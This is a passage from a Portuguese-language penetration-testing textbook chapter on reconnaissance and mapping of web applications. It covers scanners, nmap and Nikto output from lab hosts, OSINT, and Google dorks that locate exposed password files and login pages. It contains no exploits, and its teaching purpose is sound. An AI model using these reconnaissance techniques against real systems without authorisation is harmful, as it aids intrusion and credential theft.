tambm afetam os varredores de vulnerabilidades, mas em um grau maior, pois a tarefa
a ser executada depende da qualidade do mapeamento. Em decorrncia deste fato e do
estado-da-arte desse tipo de tecnologia, apenas algumas classes de vulnerabilidades de
aplicaes web podem ser detectadas de maneira confivel e, para qualquer classe, no
se deve esperar que todas as ocorrncias, em uma dada aplicao, sejam descobertas.

Sempre existiro casos mais sutis que dependero do conhecimento do analista de segurana
para serem identificados. Logo, importante ter em mente que as ferramentas ainda no so
capazes de substituir os seres humanos, mas sim de auxili-los em termos de produtividade.

De acordo com Stuttard e Pinto (2007), as vulnerabilidades que podem ser encontradas q
automaticamente so aquelas para as quais possvel descrever claramente a assina-
Teste de Invaso de Aplicaes Web

tura de ataque e o resultado que deve ser verificado para inferir a presena da fraqueza,
como por exemplo:

1 Cross-site scripting refletido.


1 Alguns tipos de injeo de SQL.
1 Alguns tipos de injeo de comando.
1 Navegao e listagem de diretrios.

48
importante conhecer tambm os tipos de vulnerabilidades que normalmente no so detec- q
tados corretamente. A lista abaixo, adaptada de Stuttard e Pinto (2007), no visa ser exaustiva:

1 Falhas no controle de acesso.


1 Problemas que, para serem explorados, precisam que parmetros sejam alterados
considerando a semntica associada.

1 Uso inadequado de criptografia.


1 Falhas de lgica decorrentes de situaes no previstas, como a remoo de um
parmetro obrigatrio.

Um estudo realizado por Doup, Cova e Vigna (2010) avaliou onze varredores de vulnerabili-
dades, livres e pagos, contra a aplicao WackoPicko, que desenvolveram especificamente
para os testes, contendo dezesseis vulnerabilidades de diversas classes. O trabalho
analisou, para cada ferramenta, capacidade de deteco, quantidade de falsos positivos
reportados, qualidade do mapeamento, tempo de execuo, nmero de acessos realizados,
interpretao de Javascript e criao automtica de contas de usurio. Alguns dos resul-
tados podem ser observados na Figura 2.5, que aproveita para dar exemplos dos principais
varredores existentes atualmente.

Falsos Tempo de
Ferramenta Licena Escore
positivos execuo (s)

Acunetix Comercial 14 1 < 1000

AppScan Comercial 10 11 < 2000

Burp Comercial 13 1 < 1000

Grendel-Scan GPLv3 3 15 < 1000

Hailstorm Comercial 6 3 < 1000

Milescan Comercial 4 0 < 1000

N-Stalker Comercial 13 5 > 25000

NTOSpider Comercial 4 3 < 2000

Figura 2.5 Paros CAL 6 1 < 2000


Alguns resultados
do estudo w3af GPLv2 9 1 < 2000
de Doup, Cova e
Vigna (2010). Webinspect Comercial 13 215 < 2000
Captulo 2 - Reconhecimento e mapeamento

Outras ferramentas
Outras ferramentas podem ser teis em situaes especficas: q
1 Netcat
1 OpenSSL
1 Nikto
1 Metasploit Framework

H inmeras outras ferramentas disponveis, alm das apresentadas at aqui, que podem
ser teis em situaes especficas e que devem ser consideradas como parte de um cinto de
utilidades de uma pessoa que realiza testes de invaso em aplicaes web. Adicionalmente,

49
em alguns casos, pode ser necessrio personalizar uma ferramenta j existente ou criar
uma prpria e, assim, interessante dominar uma ou mais linguagens de programao.

Netcat
Utilitrio de rede distribudo sob licena GPL e considerado por muitos como o canivete suo
de redes TCP/IP, devido a sua grande versatilidade. Permite enviar e receber dados, utilizando
os protocolos TCP e UDP, em qualquer porta e com os parmetros que se queira. Alm disso,
pode ser usado independentemente ou em conjunto com outras ferramentas ou scripts e
facilmente compilvel, sem alteraes, para diversos sistemas operacionais, como Linux, BSD,
Unix e Mac OS X. Um ponto negativo, entretanto, a falta de suporte aos protocolos SSL e TLS,
mas que pode ser resolvido por meio da associao com outras ferramentas.

Como exemplo, considere-se o exerccio sobre mtodos HTTP do Captulo 1. Ele pode ser
executado com o Netcat da seguinte maneira:

nc exemplo.esr.rnp.br 80
OPTIONS / HTTP/1.0
Host: exemplo.esr.rnp.br

OpenSSL
Utilitrio livre que permite trabalhar com diversos algoritmos criptogrficos e com os
protocolos SSL e TLS, suprindo assim a deficincia apresentada pelo Netcat. Est disponvel
para inmeras plataformas, como Linux, BSD, Mac OS X e Windows, e empregado por
diversos softwares, como o Apache mod_ssl, Sendmail e OpenCA. Pode ser usado via linha
de comando ou programaticamente, por meio de cdigos escritos em linguagens C e C++. Em
testes de invaso de aplicaes web, empregado para verificar a configurao de SSL/TLS
de servidores web e dos demais elementos do ambiente.

Nikto
Aplicativo livre, fornecido sob licena GPL, que serve para varrer servidores web em busca
de arquivos e diretrios instalados por padro, problemas especficos de verso e configura-
es vigentes. A base de dados inclui milhares de itens para inmeras plataformas e atua-
lizada constantemente com novas informaes. Uma informao importante que Nikto
uma ferramenta ruidosa, isto , procura executar a tarefa no menor tempo possvel, sem se
preocupar em ser detectada por sistemas de deteco de intruso.

Metasploit Framework
uma plataforma livre escrita em linguagem Ruby e cujos componentes so desenvolvidos
em C e Assembly. Usada em testes de invaso e criao de ferramentas de segurana,
possui uma base de dados de exploits para as mais diversas plataformas, que pode ser Exploit
Teste de Invaso de Aplicaes Web

estendida pelo prprio analista de segurana. Especificamente para avaliao de segurana Programa desenvolvido
para explorar uma ou
de aplicaes web, pode ser empregada na fase de mapeamento, na explorao de vulnera-
mais vulnerabilidades
bilidades nas plataformas subjacentes e na automatizao de diversas tarefas, por exemplo. de um sistema ou
ambiente e violar, assim,
Exerccio de fixao 2 e requisitos implcitos ou
explcitos de segurana
Tipos de ferramentas da informao.

Que tipos de ferramentas podem ser empregados em um teste de invaso?

50
Reconhecimento
A fase de reconhecimento tem por objetivo levantar o mximo possvel de informaes q
da aplicao alvo, principalmente nos casos de teste caixa-preta, em que quase nada
fornecido de antemo ao analista de segurana.

Embora esta etapa seja fundamental para um teste bem-sucedido, muitas vezes no
executada sistematicamente pelo auditor.

Para que o reconhecimento seja realizado com xito, importante se ter uma ideia do
tipo de informao que deve ser procurada.

1 Nomes de funcionrios.
1 Identificadores de usurios.
1 Informaes diversas sobre usurios.
1 Tecnologias empregadas.
1 Servidores e topologia de rede.
1 Configuraes dos componentes.
1 Recursos disponibilizados pelos servidores web.
1 Arquivos robots.txt.

A lista abaixo ilustra alguns exemplos e as respectivas finalidades em um teste de invaso:

1 Nomes de funcionrios utilizados para compor identificadores de usurios da apli-


cao, para testes de quebra de autenticao.

1 Identificadores de usurios podem ser usados nos testes de quebra de autenticao e


inferncia da regra empregada para formao de identificadores.

1 Informaes diversas sobre usurios informaes como msicas prediletas, time de


futebol, primeira escola e nomes dos pais, dentre muitas outras, podem favorecer a recu-
perao de senhas, quando perguntas secretas so utilizadas com esse propsito.

1 Tecnologias empregadas servem para direcionar a identificao e explorao de


vulnerabilidades, pois linguagens de programao e plataformas possuem caractersticas
particulares que devem ser consideradas em um teste. Por exemplo, se a aplicao
escrita em Java, ataques de extravasamento de buffer no costumam ser efetivos, e se
uma verso antiga de Oracle utilizada, h chances de que a conta System com senha
Manager esteja habilitada.

1 Servidores e topologia de rede por meio da deteco de portas e servios habilitados


nos servidores, possvel identificar tecnologias empregadas e eventuais canais secun-
Captulo 2 - Reconhecimento e mapeamento

drios de ataque, e, via a topologia de rede, mapear ativos que podem ser usados no
processo de invaso. O conhecimento dos sistemas operacionais utilizados, por sua vez,
permite direcionar ataques que envolvem a interao desta camada com a aplicao.

1 Configuraes dos componentes dependendo da maneira como os elementos que


compem a aplicao esto configurados, alguns ataques podem ou no ser possveis.

1 Recursos disponibilizados pelos servidores web pginas web, cdigo-fonte, cpias de


segurana e arquivos antigos, dentre outros, muitas vezes, esto diretamente acessveis
pelos servidores web. Tais elementos podem revelar detalhes de implementao, pro-
blemas existentes, senhas de acesso e interfaces escondidas, por exemplo.

51
1 Arquivos robots.txt indicam a web spiders partes de um stio web que no devem
ser copiadas, porm, cabe ao software decidir se honra ou no a solicitao. Como os
recursos listados nesses arquivos podem ser acessados, se desejado, eles revelam ele-
mentos da aplicao que devem ser mapeados e analisados.

Levantamento de informaes em fontes pblicas


Muitas informaes interessantes para o teste de invaso podem ser obtidas em fontes q
pblicas, sem grande esforo. Exemplos:

1 Redes sociais.
1 Grupos de discusso.
1 Anncios de emprego.
1 WHOIS.
1 DNS.
1 Redes sociais nomes de funcionrios, usurios e preferncias pessoais podem ser
encontradas em redes sociais, como Orkut, LinkedIn e Facebook. Vasculhando as comuni-
dades e descries de cada pessoa, tambm, possvel se ter uma noo das tecnologias
empregadas pela empresa e obter respostas para perguntas secretas usadas em meca-
nismos de recuperao de senhas.

1 Grupos de discusso comum pessoas postarem dvidas em grupos de discusso,


contendo informaes detalhadas do problema, como a dificuldade encontrada, os
arquivos de configurao e as verses dos softwares utilizados. A partir disso, pode-se
identificar algumas das tecnologias empregadas pelo alvo, configuraes dos ativos,
nome de funcionrio e identificador de usurio.

1 Anncios de empregos analisando as vagas de emprego de uma companhia, possvel


descobrir tecnologias utilizadas e eventuais reas carentes de profissionais, o que pode
implicar vulnerabilidades de configurao.

1 WHOIS protocolo utilizado para recuperar diversas informaes sobre um nome de


domnio ou endereo IP, como proprietrios, contatos dos responsveis e servidores
de nome. As informaes fornecidas revelam nomes de funcionrios, e-mails e temas
utilizados na atribuio de nomes de servidores, que podem ser refletidos na escolha de
senhas administrativas.

1 DNS no caso improvvel de uma transferncia de zona estar habilitada para qualquer um,
possvel obter toda a base de dados dos servidores DNS da empresa, contendo nomes de DNS
servidores e endereos IP. De outro modo, a partir dos registros de servidores de nome e Domain Name System
um sistema hierrquico
de e-mail, pode-se identificar os temas utilizados na atribuio de nomes para ativos.
e distribudo de
gerenciamento de
Google hacking nomes de domnio,

q
Teste de Invaso de Aplicaes Web

permitindo que estes


Tcnica que utiliza o mecanismo de busca do Google para encontrar vulnerabilidades de sejam traduzidos para
endereos IP e vice-
software e de configurao em sistemas acessveis pela internet.
versa, no caso de
Embora o termo remeta ferramenta especfica do Google, os conceitos so gerais e DNS reverso.
podem ser aplicados a outros servios similares.

O uso em avaliaes de segurana possvel, porque esses mecanismos armazenam quase


tudo que encontram pela frente em uma gigantesca base de dados, que disponibilizada
para consultas baseadas em palavras e frases. Desse modo, o auditor de segurana pode ter
acesso a itens especficos, sem a necessidade de contatar o servidor web original da aplicao.

52
A partir disso, fica fcil perceber o valor de Google hacking para um teste de invaso em apli-
caes web, na fase de reconhecimento, quando informaes preliminares sobre o alvo so
levantadas. Observe-se, entretanto, que a tcnica no aplicvel para sistemas acessveis
somente pela rede interna, uma vez que os recursos da aplicao no podem ser catalo-
gados pelo mecanismo de busca. Isto verdade se um clone ou uma adaptao do sistema
no for disponibilizado, separadamente, para usurios externos. Neste caso, a tendncia
que os servidores dos dois ambientes sejam configurados de maneira muito prxima, seno
igual, e, assim, vulnerabilidades em um lado provavelmente se refletem no outro.

Antes de apresentar algumas consultas interessantes para testes de invaso, fundamental


fixar conceitos importantes sobre como elas so interpretadas e executadas, como devem
ser refinadas e os operadores avanados existentes.

Regras bsicas
Os seguintes itens representam os conceitos bsicos necessrios para se realizar uma q
consulta ao mecanismo de busca do Google:

1 O comportamento padro do Google considerar todas as palavras fornecidas,


exceto as comuns, que podem ser ignoradas.

1 O smbolo * pode ser usado para substituir um ou mais termos desconhecidos


na consulta.

1 No h diferenciao entre letras maisculas e minsculas, exceto para o operador


OR, discutido abaixo.

1 Os termos fornecidos so procurados em qualquer lugar de uma pgina, incluindo


ttulo, corpo e URL.

1 Delimitar com aspas duplas um conjunto de palavras determina que estas sejam
agrupadas como uma frase, que deve aparecer exatamente igual nos resultados.

1 No so considerados mais que 32 termos na pesquisa e tudo que excede este limite
descartado pelo mecanismo.

1 A ordem das palavras afeta o resultado da busca.


1 O operador OR deve ser escrito em maisculas e seleciona as pginas que contm
pelo menos um dos termos. Lembre-se que, normalmente, todos os termos so con-
siderados, isto , o operador AND empregado por padro.

1 O operador -, quando precedido de um espao, indica que nenhuma pgina com o


termo imediatamente posposto deve fazer parte do resultado.

1 O operador + deve ser precedido de um espao e usado quando o termo posposto


relevante para a pesquisa, mas ignorado pelo Google, por ser uma palavra
Captulo 2 - Reconhecimento e mapeamento

comum ou caractere.

Alm disso, ele serve para desabilitar sinnimos, indicando que o termo no deve ser substi-
tudo por outro de mesmo significado. Por exemplo, uma pesquisa por prefeitura sp
(sem as aspas) tambm traz pginas que contm o termo So Paulo em vez de sp. Se sp
for precedido por +, por outro lado, pginas que contenham somente So Paulo e no
sp sero excludas do resultado. Circundar a palavra por aspas duplas apresenta exata-
mente o mesmo efeito.

53
Operadores avanados
Existem diversos operadores avanados que podem ser utilizados para refinar os resultados q
de uma busca e os seguintes itens devem ser observados no uso deles (Long et al, 2008):

1 A sintaxe bsica de um operador avanado operador:termo de busca, sem


nenhum espao entre os elementos.

1 O termo de busca pode ser uma nica palavra ou uma frase entre aspas duplas.
1 Uma pesquisa pode conter termos simples misturados com operadores avanados,
desde que as sintaxes sejam respeitadas.

1 Operadores que comeam com all, normalmente, no se do bem com outros ope-
radores e, portanto, devem ser empregados sozinhos.

1 Os operadores - e OR podem ser aplicados a operadores avanados.


Uma explicao para todos os operadores avanados vai muito alm do escopo do pre-
sente texto e, assim, somente alguns deles sero abordados.

1 site
1 intitle
1 allintitle
1 inurl
1 allinurl
1 filetype
1 link
1 author
1 site restringe a busca a pginas do domnio especificado e, assim, deve ser usado em
testes de invaso para limitar os resultados ao escopo do trabalho. Ex.: a pesquisa site:esr.
rnp.br enumera apenas as pginas do domnio da Escola Superior de Redes da RNP.

1 intitle por padro, os termos de busca so pesquisados em qualquer lugar das pginas
contidas na base de dados do Google. Para limitar a pesquisa ao ttulo delas, isto , ao
texto delimitado pelo marcador TITLE, este operador deve ser empregado. Ex.: a pes-
quisa intitle:index of retorna pginas que contm index of no ttulo, o que comum
quando a navegao de diretrios est habilitada no servidor web.

1 allintitle similar a intitle, determina que todos os termos pospostos devem estar
presentes no ttulo da pgina. Ex.: para encontrar pginas cujos ttulos contm index of
e imagens, a pesquisa allintitle:index of imagens pode ser utilizada.

1 inurl a palavra ou frase deve aparecer na URL do recurso. Ex.: a pesquisa inurl:admin
lista pginas que contm admin na URL e pode ser utilizada para encontrar eventuais
Teste de Invaso de Aplicaes Web

pginas administrativas da aplicao.

1 allinurl todos os termos pospostos devem fazer parte da URL. Ex.: allinurl:admin password.
1 filetype instrui o Google a listar somente arquivos de um determinado tipo. Ex.: para
encontrar arquivos de configurao, pode-se utilizar a busca filetype:conf.

1 link permite encontrar pginas que possuam links para o domnio especificado.
Ex.: link:rnp.br.

1 author vlido para o Google Groups, permite listar mensagens postadas pelo autor
especificado. Ex.: author:stallman lista mensagens cujos autores tm Stallman como
parte do nome.

54
Exemplos de consultas
Vejamos alguns exemplos de consultas para encontrar na internet tudo que se possa ima-
ginar, desde cmeras IP at arquivos de senhas de usurios. Considerando a utilidade da
tcnica, recomenda-se gastar algum tempo estudando as pesquisas existentes na base, as
quais podem ajudar a encontrar as informaes desejadas de uma aplicao.

site:<domnio> login OR logon

Lista pginas empregadas para autenticao de usurios.

site:<domnio> inurl:temp OR inurl:tmp OR inurl:backup OR inurl:bak

Tem por objetivo encontrar arquivos temporrios ou cpias de segurana presentes em


servidores web do domnio especificado.

site:<domnio> intitle:index.of people.lst

Localiza arquivos contendo identificadores de usurios e hashes de senhas.

site:<domnio> intitle:index of etc passwd

Procura arquivos /etc/passwd acessveis pela internet.

site:<domnio> This file was generated by Nessus

Encontra relatrios gerados pela ferramenta Nessus, que podem indicar vulnerabilidades
presentes no ambiente.

Os exemplos ilustrados nesta seo foram extrados do Google Hacking Database, de


Johnny Long.

Identificao de sistema operacional, servios e portas


Para cada ativo descoberto ou listado pelo cliente, deve-se identificar o nome e verso q
do sistema operacional, alm dos servios e portas habilitados.

Uma das maneiras de realizar esta tarefa escutar passivamente todo o trfego de
entrada e sada do elemento e, com base em detalhes especficos de plataforma, inferir
as informaes desejadas.

O lado positivo desta abordagem que, normalmente, no deixa rastros, uma vez que
nenhum pacote enviado ao alvo. Por outro lado, num teste caixa-preta, dificilmente o ana-
lista ser capaz de escutar o trfego da rede.

A outra estratgia ativa, isto , a identificao ocorre por meio de interao com o q
Captulo 2 - Reconhecimento e mapeamento

servidor ou elemento de rede.

Dependendo do tempo disponvel, pode-se diminuir a velocidade com que a verificao


executada, para no gerar tantos alertas nos sistemas de deteco de intruso. Um utilitrio
que pode ser empregado com esta finalidade o Nmap, conforme exemplo a seguir:

esruser@ubuntu:~$ nmap -A -T4 192.168.1.1

Starting Nmap 5.00 ( http://nmap.org ) at 2011-01-06 16:40 BRST


Interesting ports on 192.168.1.1:
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION

55
21/tcp open ftp Netgear broadband router or ZyXel VoIP adapter
ftpd 1.0
23/tcp open telnet Netgear broadband router or ZyXel VoIP adapter
telnetd
80/tcp open http Embedded Allegro RomPager webserver 4.07
UPnP/1.0 (ZyXEL ZyWALL 2)
|_ html-title: Protected Object
| http-auth: HTTP Service requires authentication
| Auth type: Basic, realm = 550B-4P2
|_ HTTP server may accept admin:admin combination for Basic
authentication

Service detection performed. Please report any incorrect results at


http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.75 seconds

No comando acima, a opo -A habilita a deteco de nome e verso de sistema opera-


cional, o mdulo NSE e o traceroute, enquanto a opo -T4 faz com que a varredura seja
executada mais rapidamente. Observe-se que foram encontrados os servios FTP, telnet e
HTTP abertos, que este ltimo emprega autenticao bsica HTTP e que foi detectado um
usurio admin com senha admin. Tal achado, nesta etapa, uma grande descoberta, pois
j permite acesso administrativo aplicao logo no incio do trabalho.

Observamos que o Nmap realizou a identificao do servidor web, graas opo -A.
Porm, isto faz com que o processo seja executado para todos os servios disponveis no
ativo, o que nem sempre desejvel. Isso pode ser resolvido pela opo -p, que restringe
as portas que sero analisadas.

Identificao do servidor web


Existem mtodos e utilitrios que podem ser utilizados especificamente para reconhecer q
servidores web, e sempre interessante conferir o resultado com mais de uma soluo.

A possibilidade mais simples solicitar um recurso inexistente para o servidor web e


observar a pgina de erro resultante. Caso uma pgina personalizada no tenha sido
configurada, a padronizada exibida, a qual contm informaes sobre o servidor utili-
zado, conforme ilustrado na Figura 2.6.

Uma alternativa que fornece resultados semelhantes procurar por contedo instalado por
padro pelos softwares. importante mencionar que esse mtodo no muito confivel,
pois extremamente fcil configurar essas pginas, em plataformas diferentes, com o
intuito de enganar eventuais atacantes.
Teste de Invaso de Aplicaes Web

56
Figura 2.6
Tela padro de erro
do Apache.

Um mtodo mais robusto de reconhecimento de servidores web envolve analisar o com- q


portamento deles em diversas situaes, pois este varia bastante de fornecedor para
fornecedor, servindo assim como um discriminante (Meucci et al., 2008).

Itens que podem ser observados incluem o valor do cabealho Server, a ordem dos cabea-
lhos em respostas e o tratamento de requisies mal formadas ou com protocolos e verses
inexistentes, dentre outros. O exemplo abaixo ilustra a disposio dos cabealhos em uma
resposta a uma requisio HEAD, feita para os servidores Apache, lighttpd, nginx e Tomcat.

Apache 2.2.17

HTTP/1.1 200 OK
0 Date: Wed, 05 Jan 2011 13:53:25 GMT
1 Server: Apache/2.2.17 (Fedora)
2 Last-Modified: Mon, 22 Nov 2010 01:40:24 GMT
3 ETag: 61c27-5056-4959a57036427
4 Accept-Ranges: bytes
5 Content-Length: 20566
6 Connection: close
7 Content-Type: text/html; charset=iso-8859-1
Captulo 2 - Reconhecimento e mapeamento

lighttpd 1.4.26

HTTP/1.0 200 OK
7 Content-Type: text/html
4 Accept-Ranges: bytes
3 ETag: 852229764
2 Last-Modified: Mon, 22 Oct 2007 12:13:49 GMT
5 Content-Length: 844
6 Connection: close
0 Date: Wed, 05 Jan 2011 13:56:56 GMT
1 Server: lighttpd/1.4.26

57
nginx 0.8.53

HTTP/1.1 200 OK
1 Server: nginx/0.8.53
0 Date: Wed, 05 Jan 2011 13:57:59 GMT
7 Content-Type: text/html
5 Content-Length: 3700
2 Last-Modified: Sun, 31 Oct 2010 21:12:28 GMT
6 Connection: close
4 Accept-Ranges: bytes

Tomcat 6.0.26

HTTP/1.1 200 OK
1 Server: Apache-Coyote/1.1
4 Accept-Ranges: bytes
3 ETag: W/7777-1291366189000
2 Last-Modified: Fri, 03 Dec 2010 08:49:49 GMT
7 Content-Type: text/html
5 Content-Length: 7777
0 Date: Wed, 05 Jan 2011 14:00:19 GMT
6 Connection: close

Obviamente, realizar testes dessa natureza manualmente completamente invivel e,


portanto, necessrio automatizar a tarefa com uma ferramenta como o httprint, da
net-square. Este utilitrio bem interessante e prtico, mas requer que o arquivo de assi-
Figura 2.7
naturas seja atualizado, para que novas verses de servidores web sejam corretamente Sada do httprint
identificadas. A Figura 2.7 ilustra o resultado de um teste, empregando a base padro contra em teste de servi-
um servidor Apache 2.2.17. dor Apache.
Teste de Invaso de Aplicaes Web

58
Levantamento dos mtodos suportados pelos servidores web
H mtodos interessantes, como PUT, que permitem copiar arquivos para o servidor. q
Isso pode ser muito til para carregar ferramentas em uma mquina da rede que esteja
servindo de piv para atacar outro ativo do ambiente.

Assim, vantajoso saber os mtodos suportados por um servidor web, e uma maneira
direta de conseguir isto por meio do mtodo OPTIONS, caso esteja habilitado.

esruser@ubuntu:~$ nc exemplo.esr.rnp.br 8080


OPTIONS / HTTP/1.0

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS
Content-Length: 0
Date: Wed, 05 Jan 2011 16:16:12 GMT
Connection: close

Se o mtodo OPTIONS no for suportado, a sada ser semelhante abaixo:

esruser@ubuntu:~$ nc exemplo.esr.rnp.br 8090


OPTIONS / HTTP/1.0

HTTP/1.1 405 Not Allowed


Server: nginx/0.8.53
Date: Wed, 05 Jan 2011 16:23:21 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

Neste caso, uma soluo consiste em se criar um script para fazer requisies ao servidor
web, para todos os mtodos existentes, e observar aqueles que so aceitos. possvel,
tambm, empregar o Nikto e aproveitar-se de diversas outras verificaes de configurao
que ele faz contra o servidor.

Deteco de hosts virtuais


muito comum hospedar diversos stios web em um nico servidor, com o objetivo de q
melhor alocar os recursos disponveis, e, para isso, duas tcnicas podem ser utilizadas.
Na primeira delas, conhecida por hospedagem virtual baseada em IP, cada stio recebe
Captulo 2 - Reconhecimento e mapeamento

um endereo IP diferente, que remete para o mesmo servidor fsico. Na outra, chamada
de hospedagem virtual baseada em nomes, diversos nomes de domnio so resolvidos
para um mesmo endereo IP e cabe ao servidor web discernir qual host virtual deve
tratar a requisio recebida.

A soluo para a questo acima reside no cabealho Host, que deve indicar o nome de
domnio do destino. Se ele no estiver presente, a requisio encaminhada para o host
padro, que nem sempre o correto.

Portanto, sempre que ferramentas como Netcat e Telnet ou scripts personalizados forem
utilizados para acessar aplicaes em servidores compartilhados, no se deve esquecer de
inclui-lo, sob pena de no se alcanar os resultados desejados.

59
Um teste simples para detectar o uso de servidor compartilhado por nomes consiste em q
resolver o nome de domnio da aplicao e tentar o acesso por endereo IP, o que faz
com que a requisio seja tratada pelo host padro.

Se este no for o responsvel por atender a aplicao, a pgina inicial de outro stio web
exibida, o que implica que o servidor no dedicado. Em caso contrrio, o mtodo no
capaz de fornecer uma resposta conclusiva.

Outra maneira de testar o compartilhamento de servidor por meio de ferramentas q


web que mapeiam endereos IP para nomes de domnio, de maneira similar a um DNS
reverso (Meucci et al., 2008).

Para exemplificar, a Figura 2.8 ilustra a sada de uma consulta realizada para o IP
200.219.245.136 ao servio WebHosting Info, a qual indica claramente a adoo de hospe-
dagem virtual baseada em nomes.

Figura 2.8
Consulta realizada
ao servio
WebHosting Info.

Descoberta de arquivos e diretrios


Google hacking uma tcnica interessante que pode ser utilizada para encontrar q
arquivos e diretrios em servidores, sem alertar os mecanismos de monitorao do
ambiente, uma vez que toda informao pode ser recuperada diretamente da base do
Teste de Invaso de Aplicaes Web

Google ou outro mecanismo de busca.

Uma abordagem mais agressiva consiste no uso de ferramentas como o Nikto, que testam
a presena de diversos itens de configurao, de acordo com uma base pr-cadastrada.

O relatrio abaixo resultado de um teste efetuado pelo Nikto contra uma mquina execu-
tando a distribuio Damn Vulnerable Linux. Observe-se que diversos diretrios e poten-
ciais vulnerabilidades foram encontrados pelo utilitrio e que o tempo de varredura, nove
segundos, extremamente baixo.

60
esruser@ubuntu:~$ nikto -host dvl.esr.rnp.br
- Nikto v2.03/2.04
---------------------------------------------------------------------------
+ Target IP: 192.168.213.100
+ Target Hostname: dvl.esr.rnp.br
+ Target Port: 80
+ Start Time: 2011-01-08 11:07:20
---------------------------------------------------------------------------
+ Server: Apache/1.3.37 (Unix) PHP/4.4.4
+ No CGI Directories found (use -C all to force check all possible
dirs)
- Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP method (Allow Header): TRACE is typically only
used for debugging and should be disabled. This message does not
mean it is vulnerable to XST.
+ Apache/1.3.37 appears to be outdated (current is at least
Apache/2.2.14). Apache 1.3.41 and 2.0.63 are also current.
+ PHP/4.4.4 appears to be outdated (current is at least 5.2.8)
+ OSVDB-0: GET /./ : Appending /./ to a directory allows indexing
+ OSVDB-0: GET /%2e/ : Weblogic allows source code or directory
listing, upgrade to v6.0 SP1 or higher. http://www.securityfocus.
com/bid/2513.
+ OSVDB-877: TRACK / : TRACK option (TRACE alias) appears to allow
XSS or credential theft. See http://www.cgisecurity.com/whitehat-
mirror/WhitePaper_screen.pdf for details
+ OSVDB-877: TRACE / : TRACE option appears to allow XSS or
credential theft. See http://www.cgisecurity.com/whitehat-mirror/
WhitePaper_screen.pdf for details
+ OSVDB-119: GET /?PageServices : The remote server may allow
directory listings through Web Publisher by forcing the server
to show all files via open directory browsing. Web Publisher
should be disabled. http://cve.mitre.org/cgi-bin/cvename.
cgi?name=CVE-1999-0269.
+ OSVDB-119: GET /?wp-cs-dump : The remote server may allow
directory listings through Web Publisher by forcing the server
to show all files via open directory browsing. Web Publisher
should be disabled. http://cve.mitre.org/cgi-bin/cvename.
cgi?name=CVE-1999-0269.
Captulo 2 - Reconhecimento e mapeamento

+ OSVDB-3092: GET /info/ : This might be interesting...


+ OSVDB-3092: GET /phpmyadmin/ : phpMyAdmin is for managing MySQL
databases, and should be protected or limited to authorized hosts.
+ OSVDB-3092: GET /manual/ : Web server manual found.
+ OSVDB-3268: GET /icons/ : Directory indexing is enabled: /icons
+ OSVDB-3268: GET /manual/images/ : Directory indexing is enabled: /
manual/images
+ OSVDB-3233: GET /icons/README : Apache default file found.
+ 3577 items checked: 16 item(s) reported on remote host

61
+ End Time: 2011-01-08 11:07:29 (9 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Test Options: -host dvl.esr.rnp.br


---------------------------------------------------------------------------

Exerccio de fixao 3 e
Fase de reconhecimento
Que informaes devem ser obtidas na fase de reconhecimento?

Mapeamento
Na fase de mapeamento, deve ser criado um mapa da aplicao, que reflita a estruturao q
dos arquivos componentes, as funcionalidades ofertadas, os pontos de entrada de infor-
mao e as tecnologias utilizadas. Tudo isso realizado por meio dos seguintes passos:

1 Cpia das pginas e recursos da aplicao.


1 Identificao dos pontos de entrada de informao.
1 Relacionamento com as informaes de reconhecimento.

Cpia das pginas e recursos da aplicao


Este primeiro passo consiste em realizar uma cpia integral das partes acessveis da q
aplicao, iniciando pela pgina inicial e incluindo quaisquer pginas que tenham sido
descobertas na fase de reconhecimento.

Esta tarefa, obviamente, no deve ser feita de maneira manual, gravando-se, por meio
do navegador, cada uma das pginas visitadas. Por outro lado, viu-se que uma estra-
tgia totalmente automatizada tambm no adequada, pois pode ocorrer de itens no
serem cobertos, ou pginas perigosas, acessadas. Assim, uma abordagem hbrida deve
ser empregada, na qual o auditor navega pela aplicao, enquanto que um web spider
grava as pginas e monta o mapa automaticamente.

Uma vantagem clara desse mtodo que as dificuldades encontradas por esse tipo de
software, como interpretao de Javascript, autenticao e processos de mltiplos estgios,
Teste de Invaso de Aplicaes Web

so superadas, porque estas tarefas ficam a cargo do analista.

A Figura 2.9 ilustra o mapa de uma aplicao, gerado pelo software Burp Suite por meio
desta abordagem. O lado esquerdo da interface mostra a estrutura da aplicao, indicando,
neste exemplo, diretrios, arquivos e funcionalidades definidas por parmetros passados a
scripts PHP. Na parte direita superior, um resumo da requisio e da resposta, relacionadas
ao elemento selecionado, apresentado e, na parte inferior, detalhes so fornecidos.
O arquivo accounts.txt, exibido na figura, contm usurios e senhas do sistema e foi desco-
berto automaticamente a partir do contedo do arquivo robots.txt.

62
q
Figura 2.9
Cpia de aplicao Neste processo, comum que recursos ainda no mapeados sejam revelados, por meio
com Burp Suite.
de links ou comentrios nas pginas capturadas. Esses elementos podem englobar, por
exemplo, funcionalidades desativadas ou futuras, pginas antigas, pginas privilegiadas
que no esto visveis para o perfil de acesso atual, servidores auxiliares e plataformas
de desenvolvimento e teste.

Todas as novas funcionalidades e pginas descobertas tambm devem ser copiadas e fazer
parte do mapa da aplicao. No caso dos novos servidores, deve-se voltar atividade de reco-
nhecimento, se fizerem parte do escopo contratado. Seno, importante discutir com o cliente
a necessidade de inclui-los no teste, considerando que no sejam de uma empresa externa.

Recursos escondidos, muitas vezes, podem ser encontrados a partir dos elementos q
j mapeados. Para isso, inicialmente, necessrio analisar o resultado obtido at o
momento e observar os nomes de arquivos, diretrios e parmetros.
Captulo 2 - Reconhecimento e mapeamento

Para cada arquivo da lista, deve-se efetuar requisies, variando-se a extenso para outras,
como .bak, .old, .tmp e .inc. Em seguida, caso um padro de nomes tenha sido identificado,
itens cujos nomes o satisfaam devem ter a existncia verificada (Stuttard e Pinto, 2007).
Por exemplo, se o mapa contiver arquivos AddUser.asp e ViewUser.asp, existe uma chance
que RemoveUser.asp, UpdateUser.asp e DisableUser.asp tambm sejam vlidos.

Identificao dos pontos de entrada de informao


Muitas vulnerabilidades ocorrem justamente porque este preceito no observado e q
informaes fornecidas pelos usurios so utilizadas, sem antes serem devidamente
validadas. Por esse motivo, torna-se evidente a importncia de se mapear os pontos de
entrada de informao, pois por meio da explorao deles que muitos problemas na
